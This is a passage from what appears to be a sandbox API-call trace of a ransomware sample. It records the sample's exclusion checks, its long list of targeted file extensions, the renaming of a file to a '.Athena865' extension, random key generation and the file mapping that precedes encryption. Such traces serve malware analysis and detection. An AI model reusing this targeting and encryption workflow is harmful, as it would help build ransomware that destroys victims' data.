ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1 [0128.404] lstrcmpiW (lpString1="J0217872.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.404] lstrcmpiW (lpString1="J0217872.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.404] lstrcmpiW (lpString1="J0217872.WMF", lpString2=".") returned 1 [0128.404] lstrcmpiW (lpString1="J0217872.WMF", lpString2="..") returned 1 [0128.404] lstrcmpiW (lpString1="J0217872.WMF", lpString2="windows") returned -1 [0128.404] lstrcmpiW (lpString1="J0217872.WMF", lpString2="bootmgr") returned 1 [0128.404] lstrcmpiW (lpString1="J0217872.WMF", lpString2="temp") returned -1 [0128.404] lstrcmpiW (lpString1="J0217872.WMF", lpString2="pagefile.sys") returned -1 [0128.405] lstrcmpiW (lpString1="J0217872.WMF", lpString2="boot") returned 1 [0128.405] lstrcmpiW (lpString1="J0217872.WMF", lpString2="ids.txt") returned 1 [0128.405] lstrcmpiW (lpString1="J0217872.WMF", lpString2="ntuser.dat") returned -1 [0128.406] lstrcmpiW (lpString1="J0217872.WMF", lpString2="perflogs") returned -1 [0128.406] lstrcmpiW (lpString1="J0217872.WMF", lpString2="MSBuild") returned -1 [0128.406] lstrlenW (lpString="J0217872.WMF") returned 12 [0128.406] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0217872.WMF" | out: lpString1="J0217872.WMF") returned="J0217872.WMF" [0128.406] lstrlenW (lpString="J0217872.WMF") returned 12 [0128.406] lstrlenW (lpString="Athena865") returned 9 [0128.406] lstrcmpiW (lpString1="17872.WMF", lpString2="Athena865") returned -1 [0128.406] lstrlenW (lpString=".dll") returned 4 [0128.407] lstrcmpiW (lpString1="J0217872.WMF", lpString2=".dll") returned 1 [0128.407] lstrlenW (lpString=".lnk") returned 4 [0128.407] lstrcmpiW (lpString1="J0217872.WMF", lpString2=".lnk") returned 1 [0128.407] lstrlenW (lpString=".ini") returned 4 [0128.408] lstrcmpiW (lpString1="J0217872.WMF", lpString2=".ini") returned 1 [0128.408] lstrlenW (lpString=".sys") returned 4 [0128.408] lstrcmpiW (lpString1="J0217872.WMF", lpString2=".sys") returned 1 [0128.408] lstrlenW (lpString="J0217872.WMF") returned 12 [0128.408] lstrlenW (lpString="bak") returned 3 [0128.408] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.408] lstrlenW (lpString="ba_") returned 3 [0128.409] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.409] lstrlenW (lpString="dbb") returned 3 [0128.409] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.409] lstrlenW (lpString="vmdk") returned 4 [0128.409] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.409] lstrlenW (lpString="rar") returned 3 [0128.409] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.409] lstrlenW (lpString="zip") returned 3 [0128.409] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.409] lstrlenW (lpString="tgz") returned 3 [0128.409] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.409] lstrlenW (lpString="vbox") returned 4 [0128.409] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.410] lstrlenW (lpString="vdi") returned 3 [0128.410] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.410] lstrlenW (lpString="vhd") returned 3 [0128.410] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.410] lstrlenW (lpString="vhdx") returned 4 [0128.410] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.410] lstrlenW (lpString="avhd") returned 4 [0128.411] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.411] lstrlenW (lpString="db") returned 2 [0128.412] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.412] lstrlenW (lpString="db2") returned 3 [0128.412] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.412] lstrlenW (lpString="db3") returned 3 [0128.412] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.412] lstrlenW (lpString="dbf") returned 3 [0128.412] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.412] lstrlenW (lpString="mdf") returned 3 [0128.412] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.412] lstrlenW (lpString="mdb") returned 3 [0128.412] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.412] lstrlenW (lpString="sql") returned 3 [0128.412] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.412] lstrlenW (lpString="sqlite") returned 6 [0128.412] lstrcmpiW (lpString1="72.WMF", lpString2="sqlite") returned -1 [0128.412] lstrlenW (lpString="sqlite3") returned 7 [0128.412] lstrcmpiW (lpString1="872.WMF", lpString2="sqlite3") returned -1 [0128.412] lstrlenW (lpString="sqlitedb") returned 8 [0128.412] lstrcmpiW (lpString1="7872.WMF", lpString2="sqlitedb") returned -1 [0128.412] lstrlenW (lpString="xml") returned 3 [0128.413] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.413] lstrlenW (lpString="$er") returned 3 [0128.413] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.413] lstrlenW (lpString="4dd") returned 3 [0128.413] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.413] lstrlenW (lpString="4dl") returned 3 [0128.413] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.413] lstrlenW (lpString="^^^") returned 3 [0128.413] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.413] lstrlenW (lpString="abs") returned 3 [0128.413] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.413] lstrlenW (lpString="abx") returned 3 [0128.413] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.413] lstrlenW (lpString="accdb") returned 5 [0128.413] lstrcmpiW (lpString1="2.WMF", lpString2="accdb") returned -1 [0128.413] lstrlenW (lpString="accdc") returned 5 [0128.413] lstrcmpiW (lpString1="2.WMF", lpString2="accdc") returned -1 [0128.413] lstrlenW (lpString="accde") returned 5 [0128.413] lstrcmpiW (lpString1="2.WMF", lpString2="accde") returned -1 [0128.413] lstrlenW (lpString="accdr") returned 5 [0128.413] lstrcmpiW (lpString1="2.WMF", lpString2="accdr") returned -1 [0128.413] lstrlenW (lpString="accdt") returned 5 [0128.413] lstrcmpiW (lpString1="2.WMF", lpString2="accdt") returned -1 [0128.413] lstrlenW (lpString="accdw") returned 5 [0128.413] lstrcmpiW (lpString1="2.WMF", lpString2="accdw") returned -1 [0128.413] lstrlenW (lpString="accft") returned 5 [0128.413] lstrcmpiW (lpString1="2.WMF", lpString2="accft") returned -1 [0128.414] lstrlenW (lpString="adb") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.414] lstrlenW (lpString="adb") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.414] lstrlenW (lpString="ade") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.414] lstrlenW (lpString="adf") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.414] lstrlenW (lpString="adn") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.414] lstrlenW (lpString="adp") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.414] lstrlenW (lpString="alf") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.414] lstrlenW (lpString="ask") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.414] lstrlenW (lpString="btr") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.414] lstrlenW (lpString="cat") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.414] lstrlenW (lpString="cdb") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.414] lstrlenW (lpString="ckp") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.414] lstrlenW (lpString="cma") returned 3 [0128.414] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.414] lstrlenW (lpString="cpd") returned 3 [0128.415] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.415] lstrlenW (lpString="dacpac") returned 6 [0128.415] lstrcmpiW (lpString1="72.WMF", lpString2="dacpac") returned -1 [0128.415] lstrlenW (lpString="dad") returned 3 [0128.415] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.415] lstrlenW (lpString="dadiagrams") returned 10 [0128.415] lstrcmpiW (lpString1="217872.WMF", lpString2="dadiagrams") returned -1 [0128.415] lstrlenW (lpString="daschema") returned 8 [0128.415] lstrcmpiW (lpString1="7872.WMF", lpString2="daschema") returned -1 [0128.415] lstrlenW (lpString="db-journal") returned 10 [0128.415] lstrcmpiW (lpString1="217872.WMF", lpString2="db-journal") returned -1 [0128.415] lstrlenW (lpString="db-shm") returned 6 [0128.415] lstrcmpiW (lpString1="72.WMF", lpString2="db-shm") returned -1 [0128.415] lstrlenW (lpString="db-wal") returned 6 [0128.415] lstrcmpiW (lpString1="72.WMF", lpString2="db-wal") returned -1 [0128.415] lstrlenW (lpString="dbc") returned 3 [0128.415] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.415] lstrlenW (lpString="dbs") returned 3 [0128.415] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.415] lstrlenW (lpString="dbt") returned 3 [0128.415] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.415] lstrlenW (lpString="dbv") returned 3 [0128.415] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.415] lstrlenW (lpString="dbx") returned 3 [0128.415] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.415] lstrlenW (lpString="dcb") returned 3 [0128.415] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.415] lstrlenW (lpString="dct") returned 3 [0128.416] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.416] lstrlenW (lpString="dcx") returned 3 [0128.416] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0128.416] lstrlenW (lpString="ddl") returned 3 [0128.416] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0128.416] lstrlenW (lpString="dlis") returned 4 [0128.416] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0128.416] lstrlenW (lpString="dp1") returned 3 [0128.416] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0128.416] lstrlenW (lpString="dqy") returned 3 [0128.416] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0128.416] lstrlenW (lpString="dsk") returned 3 [0128.416] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0128.416] lstrlenW (lpString="dsn") returned 3 [0128.416] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0128.416] lstrlenW (lpString="dtsx") returned 4 [0128.416] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0128.416] lstrlenW (lpString="dxl") returned 3 [0128.416] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0128.416] lstrlenW (lpString="eco") returned 3 [0128.416] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0128.416] lstrlenW (lpString="ecx") returned 3 [0128.416] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0128.416] lstrlenW (lpString="edb") returned 3 [0128.416] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0128.416] lstrlenW (lpString="epim") returned 4 [0128.416] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0128.417] lstrlenW (lpString="fcd") returned 3 [0128.417] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0128.417] lstrlenW (lpString="fdb") returned 3 [0128.417] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0128.417] lstrlenW (lpString="fic") returned 3 [0128.417] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0128.417] lstrlenW (lpString="flexolibrary") returned 12 [0128.417] lstrlenW (lpString="fm5") returned 3 [0128.417] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0128.417] lstrlenW (lpString="fmp") returned 3 [0128.417] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0128.417] lstrlenW (lpString="fmp12") returned 5 [0128.417] lstrcmpiW (lpString1="2.WMF", lpString2="fmp12") returned -1 [0128.417] lstrlenW (lpString="fmpsl") returned 5 [0128.417] lstrcmpiW (lpString1="2.WMF", lpString2="fmpsl") returned -1 [0128.417] lstrlenW (lpString="fol") returned 3 [0128.417] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0128.417] lstrlenW (lpString="fp3") returned 3 [0128.417] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0128.417] lstrlenW (lpString="fp4") returned 3 [0128.417] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0128.417] lstrlenW (lpString="fp5") returned 3 [0128.417] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0128.417] lstrlenW (lpString="fp7") returned 3 [0128.417] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0128.417] lstrlenW (lpString="fpt") returned 3 [0128.417] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0128.417] lstrlenW (lpString="frm") returned 3 [0128.418] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0128.418] lstrlenW (lpString="gdb") returned 3 [0128.418] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.418] lstrlenW (lpString="gdb") returned 3 [0128.418] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.418] lstrlenW (lpString="grdb") returned 4 [0128.418] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0128.418] lstrlenW (lpString="gwi") returned 3 [0128.418] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0128.418] lstrlenW (lpString="hdb") returned 3 [0128.418] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0128.418] lstrlenW (lpString="his") returned 3 [0128.418] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0128.418] lstrlenW (lpString="ib") returned 2 [0128.418] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0128.418] lstrlenW (lpString="idb") returned 3 [0128.418] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0128.418] lstrlenW (lpString="ihx") returned 3 [0128.418] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0128.418] lstrlenW (lpString="itdb") returned 4 [0128.418] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0128.418] lstrlenW (lpString="itw") returned 3 [0128.418] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0128.418] lstrlenW (lpString="jet") returned 3 [0128.418] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0128.418] lstrlenW (lpString="jtx") returned 3 [0128.418] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0128.418] lstrlenW (lpString="kdb") returned 3 [0128.419] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0128.419] lstrlenW (lpString="kexi") returned 4 [0128.419] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0128.419] lstrlenW (lpString="kexic") returned 5 [0128.419] lstrcmpiW (lpString1="2.WMF", lpString2="kexic") returned -1 [0128.419] lstrlenW (lpString="kexis") returned 5 [0128.419] lstrcmpiW (lpString1="2.WMF", lpString2="kexis") returned -1 [0128.419] lstrlenW (lpString="lgc") returned 3 [0128.419] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0128.419] lstrlenW (lpString="lwx") returned 3 [0128.419] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0128.419] lstrlenW (lpString="maf") returned 3 [0128.419] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0128.419] lstrlenW (lpString="maq") returned 3 [0128.419] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0128.419] lstrlenW (lpString="mar") returned 3 [0128.419] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0128.419] lstrlenW (lpString="marshal") returned 7 [0128.419] lstrcmpiW (lpString1="872.WMF", lpString2="marshal") returned -1 [0128.419] lstrlenW (lpString="mas") returned 3 [0128.419] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0128.419] lstrlenW (lpString="mav") returned 3 [0128.419] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0128.419] lstrlenW (lpString="maw") returned 3 [0128.419] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0128.419] lstrlenW (lpString="mdbhtml") returned 7 [0128.419] lstrcmpiW (lpString1="872.WMF", lpString2="mdbhtml") returned -1 [0128.420] lstrlenW (lpString="mdn") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0128.420] lstrlenW (lpString="mdt") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0128.420] lstrlenW (lpString="mfd") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0128.420] lstrlenW (lpString="mpd") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0128.420] lstrlenW (lpString="mrg") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0128.420] lstrlenW (lpString="mud") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0128.420] lstrlenW (lpString="mwb") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0128.420] lstrlenW (lpString="myd") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0128.420] lstrlenW (lpString="ndf") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0128.420] lstrlenW (lpString="nnt") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0128.420] lstrlenW (lpString="nrmlib") returned 6 [0128.420] lstrcmpiW (lpString1="72.WMF", lpString2="nrmlib") returned -1 [0128.420] lstrlenW (lpString="ns2") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0128.420] lstrlenW (lpString="ns3") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0128.420] lstrlenW (lpString="ns4") returned 3 [0128.420] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0128.421] lstrlenW (lpString="nsf") returned 3 [0128.421] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0128.421] lstrlenW (lpString="nv") returned 2 [0128.421] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0128.421] lstrlenW (lpString="nv2") returned 3 [0128.421] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0128.421] lstrlenW (lpString="nwdb") returned 4 [0128.421] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0128.421] lstrlenW (lpString="nyf") returned 3 [0128.421] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0128.421] lstrlenW (lpString="odb") returned 3 [0128.421] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.421] lstrlenW (lpString="odb") returned 3 [0128.421] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.421] lstrlenW (lpString="oqy") returned 3 [0128.421] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0128.421] lstrlenW (lpString="ora") returned 3 [0128.421] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0128.421] lstrlenW (lpString="orx") returned 3 [0128.421] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0128.421] lstrlenW (lpString="owc") returned 3 [0128.421] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0128.421] lstrlenW (lpString="p96") returned 3 [0128.421] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0128.421] lstrlenW (lpString="p97") returned 3 [0128.421] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0128.421] lstrlenW (lpString="pan") returned 3 [0128.422] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0128.422] lstrlenW (lpString="pdb") returned 3 [0128.422] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0128.422] lstrlenW (lpString="pdm") returned 3 [0128.422] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0128.422] lstrlenW (lpString="pnz") returned 3 [0128.422] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0128.422] lstrlenW (lpString="qry") returned 3 [0128.422] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0128.422] lstrlenW (lpString="qvd") returned 3 [0128.422] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0128.422] lstrlenW (lpString="rbf") returned 3 [0128.422] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0128.422] lstrlenW (lpString="rctd") returned 4 [0128.422] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0128.422] lstrlenW (lpString="rod") returned 3 [0128.422] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0128.422] lstrlenW (lpString="rodx") returned 4 [0128.422] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0128.422] lstrlenW (lpString="rpd") returned 3 [0128.422] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0128.422] lstrlenW (lpString="rsd") returned 3 [0128.422] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0128.422] lstrlenW (lpString="sas7bdat") returned 8 [0128.422] lstrcmpiW (lpString1="7872.WMF", lpString2="sas7bdat") returned -1 [0128.422] lstrlenW (lpString="sbf") returned 3 [0128.422] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0128.422] lstrlenW (lpString="scx") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0128.423] lstrlenW (lpString="sdb") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0128.423] lstrlenW (lpString="sdc") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0128.423] lstrlenW (lpString="sdf") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0128.423] lstrlenW (lpString="sis") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0128.423] lstrlenW (lpString="spq") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0128.423] lstrlenW (lpString="te") returned 2 [0128.423] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0128.423] lstrlenW (lpString="teacher") returned 7 [0128.423] lstrcmpiW (lpString1="872.WMF", lpString2="teacher") returned -1 [0128.423] lstrlenW (lpString="tmd") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0128.423] lstrlenW (lpString="tps") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0128.423] lstrlenW (lpString="trc") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.423] lstrlenW (lpString="trc") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.423] lstrlenW (lpString="trm") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0128.423] lstrlenW (lpString="udb") returned 3 [0128.423] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0128.423] lstrlenW (lpString="udl") returned 3 [0128.424] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0128.424] lstrlenW (lpString="usr") returned 3 [0128.424] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0128.424] lstrlenW (lpString="v12") returned 3 [0128.424] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0128.424] lstrlenW (lpString="vis") returned 3 [0128.424] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0128.424] lstrlenW (lpString="vpd") returned 3 [0128.424] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0128.424] lstrlenW (lpString="vvv") returned 3 [0128.424] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0128.424] lstrlenW (lpString="wdb") returned 3 [0128.424] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0128.424] lstrlenW (lpString="wmdb") returned 4 [0128.424] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0128.424] lstrlenW (lpString="wrk") returned 3 [0128.424] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0128.424] lstrlenW (lpString="xdb") returned 3 [0128.424] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0128.424] lstrlenW (lpString="xld") returned 3 [0128.424] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0128.424] lstrlenW (lpString="xmlff") returned 5 [0128.424] lstrcmpiW (lpString1="2.WMF", lpString2="xmlff") returned -1 [0128.424] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.Athena865") returned 73 [0128.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.athena865"), dwFlags=0x1) returned 1 [0128.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.426] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7336) returned 1 [0128.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.426] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.427] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.427] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.427] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fb0, lpName=0x0) returned 0x154 [0128.429] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fb0) returned 0x100000 [0128.430] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.430] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.430] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.431] HeapFree (in: 